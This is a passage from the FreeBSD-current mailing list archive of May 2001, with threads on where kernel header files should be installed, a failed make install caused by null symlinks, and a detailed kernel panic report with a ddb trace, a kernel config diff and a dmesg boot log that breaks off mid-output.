(envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4IEBBa86305; Fri, 18 May 2001 17:11:11 +0300 (EEST) (envelope-from ru) Date: Fri, 18 May 2001 17:11:11 +0300 From: Ruslan Ermilov To: Brian Somers , Warner Losh , Bruce Evans , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) Message-ID: <20010518171110.D81893@sunbay.com> Mail-Followup-To: Brian Somers , Warner Losh , Bruce Evans , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG References: <200105171637.f4HGbsb65668@hak.lan.Awfulhak.org> <20010517195251.A90318@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010517195251.A90318@sunbay.com>; from ru@FreeBSD.org on Thu, May 17, 2001 at 07:52:51PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 07:52:51PM +0300, Ruslan Ermilov wrote: [...] > > There are 59 Makefiles that have -I${.CURDIR}/(../)+sys in them. > All these are bogus. We should get rid of all of them (-I's). > > So far, I have found sbin/mount_* use headers from /sys/miscfs/ > that are not installed into /usr/include, but should be. Where > should these be installed? /usr/include/fs/ or > should we preserve the /usr/include/miscfs/ layout like in > /sys/miscfs? Modern fs'es install their headers into include/fs > and old ones in include/. > I have removed the -I${.CURDIR}/.../sys from the half of Makefiles that do not actually need it. Here is the rest of Makefiles that have the -I${.CURDIR}/.../sys in them, and it's currently required because they use headers from /sys that do not get installed into /usr/include (but should): sbin/atm/atm/Makefile sbin/atm/fore_dnld/Makefile sbin/atm/ilmid/Makefile sbin/mount_null/Makefile sbin/mount_portal/Makefile sbin/mount_umap/Makefile sbin/mount_union/Makefile sbin/vinum/Makefile usr.sbin/acpi/Makefile.inc very interesting example! usr.sbin/ancontrol/Makefile usr.sbin/dpt/dpt_ctlinfo/Makefile usr.sbin/dpt/dpt_ctls/Makefile usr.sbin/dpt/dpt_dm/Makefile usr.sbin/dpt/dpt_led/Makefile these even don't compile!!! usr.sbin/dpt/dpt_sig/Makefile usr.sbin/dpt/dpt_softc/Makefile usr.sbin/dpt/dpt_sysinfo/Makefile usr.sbin/mlxcontrol/Makefile usr.sbin/pciconf/Makefile usr.sbin/pnpinfo/Makefile usr.sbin/pstat/Makefile usr.sbin/raycontrol/Makefile usr.sbin/setkey/Makefile usr.sbin/sicontrol/Makefile Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 7:54:19 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 86D0037B422; Fri, 18 May 2001 07:54:04 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4IErZr91193; Fri, 18 May 2001 17:53:35 +0300 (EEST) (envelope-from ru) Date: Fri, 18 May 2001 17:53:35 +0300 From: Ruslan Ermilov To: Brian Somers , Warner Losh , Bruce Evans , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) Message-ID: <20010518175335.A90576@sunbay.com> Mail-Followup-To: Brian Somers , Warner Losh , Bruce Evans , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG References: <200105171637.f4HGbsb65668@hak.lan.Awfulhak.org> <20010517195251.A90318@sunbay.com> <20010518171110.D81893@sunbay.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010518171110.D81893@sunbay.com>; from ru@FreeBSD.org on Fri, May 18, 2001 at 05:11:11PM +0300 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Fri, May 18, 2001 at 05:11:11PM +0300, Ruslan Ermilov wrote: > On Thu, May 17, 2001 at 07:52:51PM +0300, Ruslan Ermilov wrote: > [...] > > > > There are 59 Makefiles that have -I${.CURDIR}/(../)+sys in them. > > All these are bogus. We should get rid of all of them (-I's). > > > > So far, I have found sbin/mount_* use headers from /sys/miscfs/ > > that are not installed into /usr/include, but should be. Where > > should these be installed? /usr/include/fs/ or > > should we preserve the /usr/include/miscfs/ layout like in > > /sys/miscfs? Modern fs'es install their headers into include/fs > > and old ones in include/. > > > I have removed the -I${.CURDIR}/.../sys from the half of Makefiles > that do not actually need it. Here is the rest of Makefiles that > have the -I${.CURDIR}/.../sys in them, and it's currently required > because they use headers from /sys that do not get installed into > /usr/include (but should): > [...] > > sbin/mount_null/Makefile > sbin/mount_portal/Makefile > sbin/mount_umap/Makefile > sbin/mount_union/Makefile > FS headers should go into /usr/include/fs/fs.h, one per each filesystem. Boris, could you please move smbfs.h one directory up from the /usr/include/fs/smbfs/? Also, installing of smbfs_node.h and smbfs_subr.h seems to be not required as these are used solely within the kernel. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 8:32:34 2001 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 9C8F437B43C for ; Fri, 18 May 2001 08:32:29 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id BAA12565; Sat, 19 May 2001 01:32:08 +1000 Date: Sat, 19 May 2001 01:30:44 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Adrian Browne Cc: freebsd-current@FreeBSD.ORG Subject: Re: cvsup 17-5-2001 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thu, 17 May 2001, Adrian Browne wrote: > cvsup 17-5-2001 > > buildworld worked fine > make install failed with the following: > > /usr/share/man/man1/tcsh.1.gz -> /usr/share/man/man1/csh.1.gz > ===> bin/csh/nls > ===> bin/csh/nls/finnish > install -c -o root -g wheel -m 444 tcsh.cat > /usr/share/nls/fi_FI.ISO_8859-1/tcsh.cat > ln -fs ../fi_FI.ISO_8859-1/tcsh.cat > /usr/share/nls/fi_FI.ISO_8859-15/tcsh.cat > ln: /usr/share/nls/fi_FI.ISO_8859-15/tcsh.cat: No such file or directory > *** Error code 1 ISTR that this particular error can be caused by scrambled symlinks in the target directory. symlink(2) can create symlinks to null filenames ("ln -s '' foo") (despite null filenames being invalid). "make install" apparently can create a such a symlink near tsch.cat (I'm not sure when, but mostl likely just when the mtree database is wrong). Then "make install" gets confused by the null symlink. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 8:38:47 2001 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 0667737B422; Fri, 18 May 2001 08:38:39 -0700 (PDT) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (billy-club.village.org [10.0.0.3]) by rover.village.org (8.11.3/8.11.3) with ESMTP id f4IFcX636045; Fri, 18 May 2001 09:38:37 -0600 (MDT) (envelope-from imp@billy-club.village.org) Received: from billy-club.village.org (localhost [127.0.0.1]) by billy-club.village.org (8.11.2/8.8.3) with ESMTP id f4IFbPl09667; Fri, 18 May 2001 09:37:25 -0600 (MDT) Message-Id: <200105181537.f4IFbPl09667@billy-club.village.org> To: Bruce Evans Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) Cc: Brian Somers , Doug Rabson , cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org In-reply-to: Your message of "Fri, 18 May 2001 22:33:43 +1000." References: Date: Fri, 18 May 2001 09:37:25 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message Bruce Evans writes: : On Fri, 18 May 2001, Brian Somers wrote: : : > > On Thu, 17 May 2001, Warner Losh wrote: : > > I quite like the fact that the programming interface is : > > separated from the driver implementation. There is less chance that the : > > driver writer will expose irrelavent implementation details in the API, : > > which in turn makes for a more stable ABI. : > : > I agree, and what's more, bde hasn't disagreed to any such : > suggestions.... : : I agree too :-). Since it is the traditional home, I'll go along with leaving things there :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri May 18 10:49: 0 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id CDA9137B424 for ; Fri, 18 May 2001 10:48:30 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4IHmJS88409 for current@freebsd.org; Fri, 18 May 2001 10:48:19 -0700 (PDT) Date: Fri, 18 May 2001 10:48:19 -0700 (PDT) From: David Wolfskill Message-Id: <200105181748.f4IHmJS88409@bunrab.catwhisker.org> To: current@freebsd.org Subject: Panic during -CURRENT buildworld Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [This is *really* long. Sorry. dhw] Running: FreeBSD dhcp-140.catwhisker.org 5.0-CURRENT FreeBSD 5.0-CURRENT #1: Thu May 17 09:13:03 PDT 2001 root@dhcp-133.catwhisker.org:/common/C/obj/usr/src/sys/LAPTOP_30W i386 (The "#1" sequence number is probably misleading; I'll go into that below. It was around #60 or so before the events discussed there.) Last few CVSups: CVSup begin from cvsup14.freebsd.org at Tue May 15 03:47:00 PDT 2001 CVSup ended from cvsup14.freebsd.org at Tue May 15 03:52:15 PDT 2001 CVSup begin from cvsup14.freebsd.org at Wed May 16 03:47:01 PDT 2001 CVSup ended from cvsup14.freebsd.org at Wed May 16 03:52:26 PDT 2001 CVSup begin from cvsup14.freebsd.org at Wed May 16 07:57:56 PDT 2001 CVSup ended from cvsup14.freebsd.org at Wed May 16 08:04:15 PDT 2001 CVSup begin from cvsup14.freebsd.org at Thu May 17 03:47:00 PDT 2001 CVSup ended from cvsup14.freebsd.org at Thu May 17 03:52:58 PDT 2001 CVSup begin from cvsup14.freebsd.org at Fri May 18 03:47:01 PDT 2001 CVSup ended from cvsup14.freebsd.org at Fri May 18 03:52:34 PDT 2001 (Wednesday wasn't the best of days for me....) As some folks may recall, I've been tracking -STABLE & -CURRENT on this machine (my laptop) since early March. I've encountered various forms of challenges in that, but today's the first time I got a panic during the "make buildworld". And this was on the 3rd attempt today. :-( (The other 2 were done -- as usual for me -- within an X environment, so I could more easily monitor the progress... or so I had imagined. Each of those "locked up"; I suspect, in hindsight, that they may also have been panics.) This last was one I did in single-user mode. (I had already built & booted today's -STABLE.) FWIW, the system appears to have gotten much further while in single-user mode -- it was in "stage 4: building libraries"; here are my (hand-transcribed) notes: cc -fpic -DPIC ... lib_addch.So cc -fpic -DPIC ... lib_addstr.So Fatal trap 12: page fault while in kernel mode fault virtual address = 0xdeadc0e8 fault code = supervidor read, page not present instruction pointer = 0x880 0xc0314938 [This character may be wrong----------^ sorry. :-( Could be 6, b, or 8.] stack pointer = 0x10: 0xccd8be7c frame pointer = 0x10: 0xccd8be7c code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL=0 current process = 16 (irq14: ata0) kernel: type 12 trap, code =0 stopped at worklist_remove+0x1c: cmpw $0, 0xa(%ecx) db> trace worklist_remove(deadc0de) at ++0x1c free_diradd(deadc0de) at free_diradd+0x26 free_newdirblk(c16a0980) at free_newdirblk+0x2e handle_written_inodeblock(c18a0280, c688ff6c) at handle_written_inodeblock+0x2b2 softdep_disk_write_complete(c688ff6c) at softdep_disk_write_complete+0x6a bufdone(c688ff6c, ccd8bf50, c0134df6, c688ff6c, c167c200) at bufdone+0x109 bufdonebio(c688ff6c) at bufdonebio+0xe ad_interrupt(c1be4700, c016131c0, ccd8bf7c, c01c1db7, c167c200) at ad_interrupt+0x3ce ata_intr(c167c200) at ata_intr+0xae ithread_loop(c167c180, ccd8bfa8) at ithread_loop+0x413 fork_exit(c01c19a4, c167c180, ccd8bfa8) at fork_exit+0xb4 fork_trampoline() at fork_trampoline+0x8 db> Each of the first 2 times the "make buildworld" didn't complete, I ended up power-cycling the machine. fsck wasn't especially happy about this, and I did take the opportunity to note that each time the -CURRENT fsck wanted a hand-invoked "fsck", the following effects were noted: * It complained about the primary superblock had some (presumably unexpected) discrepancy with the first alternate (at block 32). Each time, I told it to use the alternate, and to update the primary superblock. * After finishing up, the "soft updates" flag was no longer turned on, so I ran "tunefs -n enable" while I was (still) in single-user mode. As to the events alluded to above: Wednesday, while trying to figure out some breakage, I quoted the $FreeBSD$ line of a Makefile to a correspondent (Ruslan Ermilov) who was kind enough to try to help me figure things out. He noticed that the revision level on the Makefile seemed too low; off by one, actually. But "cvs log Makefile" in the directory in question showed that the Makefile itself was current; it was the $FreeBSD$ tag that was incorrect. It turns out that when I had set up my CVS repository, I placed it in /cvs, but put the FreeBSD part of it in /cvs/freebsd (assuming that I might want to place some non-FreeBSD-specific things in there at some point). And I set up my (default) $CVSROOT environment variable to "/cvs". So far, so good. This was (as mentioned) back in early March, so there are some aspects of this that I don't quite recall. But when I created my -CURRENT working directory for /usr/src, I must have done something that did not involve specifying /cvs/freebsd as the CVSROOT during the initial checkout: for example, the following files indicate the problem: cat /usr/src/CVS/Repository freebsd/src cat /usr/src/CVS/Root /cvs The issue is that the CVS options would have thus been picked up from /cvs/CVSROOT, rather than from /cvs/freebsd/CVSROOT -- so up through Wednesday (day before yesterday), files in my working directory were *not* getting $FreeBSD$ expanded, and *were* getting $Id$ expanded. This was confusing, at best. So Wednesday, I did a little experiment (creating new working directories in a scratch area, one using /cvs as CVSROOT; the other using /cvs/freebsd), and that demonstrated the nature of the problem. Since I'm on vacation now, I decided to tackle that as soon as I could, which was that day. In my haste to accomplish that, I forgot that my kernel configuration for -CURRENT was a separate file in the (-CURRENT) /usr/src/sys/i386/conf directory. (In -STABLE, it's a symlink to a file in a separate filesystem. I started that way in -CURRENT, but when I needed to make some changes, I got lazy and just copied it into /usr/src.) So when I blew away the old -CURRENT /usr/src, my kernel config source went with it. That was annoying. :-( I managed to recover it, pretty much. Here is a "diff -bu" between the -CURRENT GENERIC and LAPTOP_30W (my config): --- GENERIC Sun May 13 13:52:39 2001 +++ LAPTOP_30W Wed May 16 18:43:28 2001 @@ -15,21 +15,30 @@ # device lines is also present in the NOTES configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in NOTES. # -# $FreeBSD: src/sys/i386/conf/GENERIC,v 1.308 2001/05/13 20:52:39 phk Exp $ +# $FreeBSD: src/sys/i386/conf/GENERIC,v 1.246.2.20 2000/10/31 23:16:07 n_hibma Exp $ machine i386 -cpu I486_CPU -cpu I586_CPU cpu I686_CPU -ident GENERIC -maxusers 32 +ident "LAPTOP_30W" +maxusers 128 #To statically compile in device wiring instead of /boot/device.hints #hints "GENERIC.hints" #Default places to look for devices. makeoptions DEBUG=-g #Build kernel with gdb(1) debug symbols +# +# Enable the kernel debugger. +# +options DDB + +# +# The DIAGNOSTIC option is used to enable extra debugging information +# from some parts of the kernel. As this makes everything more noisy, +# it is disabled by default. +# +options DIAGNOSTIC -options MATH_EMULATE #Support for x87 emulation +# options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options INET6 #IPv6 communications protocols options FFS #Berkeley Fast Filesystem @@ -52,6 +61,7 @@ options SYSVSEM #SYSV-style semaphores options P1003_1B #Posix P1003_1B real-time extensions options _KPOSIX_PRIORITY_SCHEDULING +# options ICMP_BANDLIM #Rate limit bad replies options KBD_INSTALL_CDEV # install a CDEV entry in /dev # Debugging for use in -current @@ -59,6 +69,7 @@ options INVARIANTS options INVARIANT_SUPPORT options WITNESS +# options PNPBIOS # Maybe? # To make an SMP kernel, the next two are needed #options SMP # Symmetric MultiProcessor Kernel @@ -76,50 +87,59 @@ device atadisk # ATA disk drives device atapicd # ATAPI CDROM drives device atapifd # ATAPI floppy drives -device atapist # ATAPI tape drives +# device atapist # ATAPI tape drives options ATA_STATIC_ID #Static device numbering +#options ATA_ENABLE_ATAPI_DMA #Enable DMA on ATAPI devices # SCSI Controllers -device ahb # EISA AHA1742 family -device ahc # AHA2940 and onboard AIC7xxx devices -device amd # AMD 53C974 (Tekram DC-390(T)) -device isp # Qlogic family +# device ahb # EISA AHA1742 family +# device ahc # AHA2940 and onboard AIC7xxx devices +# device amd # AMD 53C974 (Tekram DC-390(T)) +# device isp # Qlogic family #device ncr # NCR/Symbios Logic -device sym # NCR/Symbios Logic (newer chipsets + those of `ncr') - -device adv # Advansys SCSI adapters -device adw # Advansys wide SCSI adapters -device aha # Adaptec 154x SCSI adapters -device aic # Adaptec 15[012]x SCSI adapters, AIC-6[23]60. -device bt # Buslogic/Mylex MultiMaster SCSI adapters - -device ncv # NCR 53C500 -device nsp # Workbit Ninja SCSI-3 -device stg # TMC 18C30/18C50 +# device sym # NCR/Symbios Logic (newer chipsets + those of `ncr') +# options SYM_SETUP_LP_PROBE_MAP=0x40 + # Allow ncr to attach legacy NCR devices when + # both sym and ncr are configured + +# device adv # Advansys SCSI adapters +# device adw # Advansys wide SCSI adapters +# device aha # Adaptec 154x SCSI adapters +# device aic # Adaptec 15[012]x SCSI adapters, AIC-6[23]60. +# device bt # Buslogic/Mylex MultiMaster SCSI adapters + +# device ncv # NCR 53C500 +# device nsp # Workbit Ninja SCSI-3 +# device stg # TMC 18C30/18C50 # RAID controllers interfaced to the SCSI subsystem -device asr # DPT SmartRAID V, VI and Adaptec SCSI RAID -device dpt # DPT Smartcache III, IV - See NOTES for options! -device mly # Mylex AcceleRAID/eXtremeRAID +# device asr # DPT SmartRAID V, VI and Adaptec SCSI RAID +# device dpt # DPT Smartcache III, IV - See NOTES for options! +# device mly # Mylex AcceleRAID/eXtremeRAID # SCSI peripherals -device scbus # SCSI bus (required) -device da # Direct Access (disks) -device sa # Sequential Access (tape etc) -device cd # CD -device pass # Passthrough device (direct SCSI access) +# device scbus # SCSI bus (required) +# device da # Direct Access (disks) +# device sa # Sequential Access (tape etc) +# device cd # CD +# device pass # Passthrough device (direct SCSI access) # RAID controllers -device aac # Adaptec FSA RAID -device amr # AMI MegaRAID -device ida # Compaq Smart RAID -device mlx # Mylex DAC960 family -device twe # 3ware ATA RAID +# device aac # Adaptec FSA RAID, Dell PERC2/PERC3 +# device ida # Compaq Smart RAID +# device amr # AMI MegaRAID +# device mlx # Mylex DAC960 family +# device twe # 3ware Escalade # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc 1 # At keyboard controller device atkbd # at keyboard device psm # psm mouse +# Options for psm: +options PSM_DEBUG=0 # 1 for debugging +options PSM_HOOKRESUME #hook the system resume event, useful + #for some laptops +options PSM_RESETAFTERSUSPEND #reset the device at the resume event device vga # VGA screen @@ -143,6 +163,8 @@ device apm # Add suspend/resume support for the i8254. device pmtimer +# device acpica +# options ACPI_DEBUG # Audio support device pcm @@ -150,6 +172,8 @@ # PCCARD (PCMCIA) support device card # pccard bus device pcic # PCMCIA bridge +# You may need to reset all pccards after resuming +options PCIC_RESUME_RESET # reset after resume # Serial (COM) ports device sio # 8250, 16[45]50 based serial ports @@ -185,19 +209,19 @@ device xl # 3Com 3c90x (``Boomerang'', ``Cyclone'') # ISA Ethernet NICs. pccard nics included. -device cs # Crystal Semiconductor CS89x0 NIC +# device cs # Crystal Semiconductor CS89x0 NIC # 'device ed' requires 'device miibus' device ed # NE[12]000, SMC Ultra, 3c503, DS8390 cards -device ex # Intel EtherExpress Pro/10 and Pro/10+ -device ep # Etherlink III based cards -device fe # Fujitsu MB8696x based cards -device sn # SMC's 9000 series of ethernet chips -device xe # Xircom pccard ethernet +# device ex # Intel EtherExpress Pro/10 and Pro/10+ +# device ep # Etherlink III based cards +# device fe # Fujitsu MB8696x based cards +# device sn # SMC's 9000 series of ethernet chips +# device xe # Xircom pccard ethernet # The probe order of these is presently determined by i386/isa/isa_compat.c. #device ie #device le -device lnc +# device lnc # Wireless NIC cards device an # Aironet 4500/4800 802.11 wireless NICs. @@ -219,7 +243,7 @@ # The `bpf' device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! -device bpf # Berkeley packet filter +device bpf 3 #Berkeley packet filter # USB support device uhci # UHCI PCI->USB interface @@ -230,7 +254,7 @@ device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer -device umass # Disks/Mass storage - Requires scbus and da +# device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse device urio # Diamond Rio 500 MP3 player device uscanner # Scanners As you see, most of the changes are commenting out unused/unwanted devices. And here's /var/run/dmesg.boot; last boot was a (clean) "boot -v": ECT? [yn] Waiting (max 60 seconds) for system process `bufdaemon' to stop...stopped Waiting (max 60 seconds) for system process `syncer' to stop...stopped syncing disks... done Uptime: 5m21s Rebooting... Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #1: Thu May 17 09:13:03 PDT 2001 root@dhcp-133.catwhisker.org:/common/C/obj/usr/src/sys/LAPTOP_30W Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon/Celeron (746.34-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x683 Stepping = 3 Features=0x383f9ff real memory = 268369920 (262080K bytes) avail memory = 256020480 (250020K bytes) Preloaded elf kernel "kernel" at 0xc04e9000. Pentium Pro MTRR support enabled Using $PIR table, 7 entries at 0xc00fdf50 apm0: on motherboard apm0: found APM BIOS v1.2, connected at v1.2 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 (no driver attached) pcic-pci0: at device 4.0 on pci0 pcic-pci0: TI12XX PCI Config Reg: [ring enable][speaker enable][pwr save][FUNC pci int + CSC serial isa irq] pcic-pci1: at device 4.1 on pci0 pcic-pci1: TI12XX PCI Config Reg: [ring enable][speaker enable][pwr save][FUNC pci int + CSC serial isa irq] isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0x1050-0x105f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0x1060-0x107f irq 7 at device 7.2 on pci0 usb0: on uhci0 usb0: USB revision 1.0 uhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered pci0: at 7.3 (no driver attached) pcm0: port 0x1400-0x14ff irq 7 at device 8.0 on pci0 pci0: at 16.0 (no driver attached) atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 pcic0: at port 0x3e0 iomem 0xd0000 on isa0 pccard0: on pcic0 pccard1: on pcic0 pcic0: Polling mode pmtimer0 on isa0 ppc0: parallel port not found. sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1: configured irq 3 not in bitmap of probed irqs 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 unknown: can't assign resources unknown: can't assign resources unknown: can't assign resources ad0: 19077MB [38760/16/63] at ata0-master UDMA33 acd0: CD-RW at ata1-master PIO4 Mounting root from ufs:/dev/ad0s3a pccard: card inserted, slot 1 ad0s4: raw partition size != slice size ad0s4: start 4173120, end 5231519, size 1058400 ad0s4c: start 4173120, end 6259679, size 2086560 ad0s4: truncating raw partition ad0s4: rejecting partition in BSD label: it isn't entirely within the slice ad0s4: start 4173120, end 5231519, size 1058400 ad0s4e: start 4369728, end 6259679, size 1889952 WARNING: /S1 was not properly dismounted WARNING: /S1/usr was not properly dismounted WARNING: /S2 was not properly dismounted WARNING: /S2/usr was not properly dismounted WARNING: /usr was not properly dismounted WARNING: /var was not properly dismounted /var: superblock summary recomputed lock order reversal 1st 0xc0463f40 mntvnode @ /usr/src/sys/ufs/ffs/ffs_vfsops.c:1007 2nd 0xce7d4c4c vnode interlock @ /usr/src/sys/ufs/ffs/ffs_vfsops.c:1016 an0: at port 0x240-0x27f irq 3 slot 1 on pccard1 an0: Ethernet address: 00:40:96:34:4e:e9 Waiting (max 60 seconds) for system process `bufdaemon' to stop...stopped Waiting (max 60 seconds) for system process `syncer' to stop...stopped syncing disks... done Uptime: 1h16m40s Rebooting... Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #1: Thu May 17 09:13:03 PDT 2001 root@dhcp-133.catwhisker.org:/common/C/obj/usr/src/sys/LAPTOP_30W Calibrating clock(s) ... TSC clock: 746313131 Hz, i8254 clock: 1193147 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency Timecounter "i8254" frequency 1193182 Hz CLK_USE_TSC_CALIBRATION not specified - using old calibration method CPU: Pentium III/Pentium III Xeon/Celeron (746.34-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x683 Stepping = 3 Features=0x383f9ff real memory = 268369920 (262080K bytes) Physical memory chunk(s): 0x00001000 - 0x0009efff, 647168 bytes (158 pages) 0x0050f000 - 0x0ffe7fff, 263032832 bytes (64217 pages) avail memory = 256020480 (250020K bytes) bios32: Found BIOS32 Service Directory header at 0xc00f7210 bios32: Entry = 0xfd890 (c00fd890) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xfd890+0x11e pnpbios: Found PnP BIOS data at 0xc00f7240 pnpbios: Entry = f0000:a600 Rev = 1.0 pnpbios: Event flag at 4b4 Other BIOS signatures found: Preloaded elf kernel "kernel" at 0xc04e9000. null: random: mem: Pentium Pro MTRR support enabled Using $PIR table, 7 entries at 0xc00fdf50 apm0: on motherboard apm0: found APM BIOS v1.2, connected at v1.2 npx0: on motherboard npx0: INT 16 interface pcib0: at pcibus 0 on motherboard pci0: physical bus=0 map[10]: type 3, range 32, base e0000000, size 26, enabled found-> vendor=0x8086, dev=0x7190, revid=0x03 bus=0, slot=0, func=0 class=06-00-00, hdrtype=0x00, mfdev=0 found-> vendor=0x8086, dev=0x7191, revid=0x03 bus=0, slot=1, func=0 class=06-04-00, hdrtype=0x01, mfdev=0 found-> vendor=0x104c, dev=0xac51, revid=0x00 bus=0, slot=4, func=0 class=06-07-00, hdrtype=0x02, mfdev=1 intpin=a, irq=255 powerspec 1 supports D0 D1 D2 D3 current D0 found-> vendor=0x104c, dev=0xac51, revid=0x00 bus=0, slot=4, func=1 class=06-07-00, hdrtype=0x02, mfdev=1 intpin=a, irq=255 powerspec 1 supports D0 D1 D2 D3 current D0 found-> vendor=0x8086, dev=0x7110, revid=0x02 bus=0, slot=7, func=0 class=06-80-00, hdrtype=0x00, mfdev=1 map[20]: type 4, range 32, base 00001050, size 4, enabled found-> vendor=0x8086, dev=0x7111, revid=0x01 bus=0, slot=7, func=1 class=01-01-80, hdrtype=0x00, mfdev=0 map[20]: type 4, range 32, base 00001060, size 5, enabled found-> vendor=0x8086, dev=0x7112, revid=0x01 bus=0, slot=7, func=2 class=0c-03-00, hdrtype=0x00, mfdev=0 intpin=d, irq=7 map[90]: type 4, range 32, base 00001040, size 4, enabled found-> vendor=0x8086, dev=0x7113, revid=0x03 bus=0, slot=7, func=3 class=06-80-00, hdrtype=0x00, mfdev=0 map[10]: type 4, range 32, base 00001400, size 8, enabled found-> vendor=0x125d, dev=0x1978, revid=0x10 bus=0, slot=8, func=0 class=04-01-00, hdrtype=0x00, mfdev=0 intpin=a, irq=7 powerspec 2 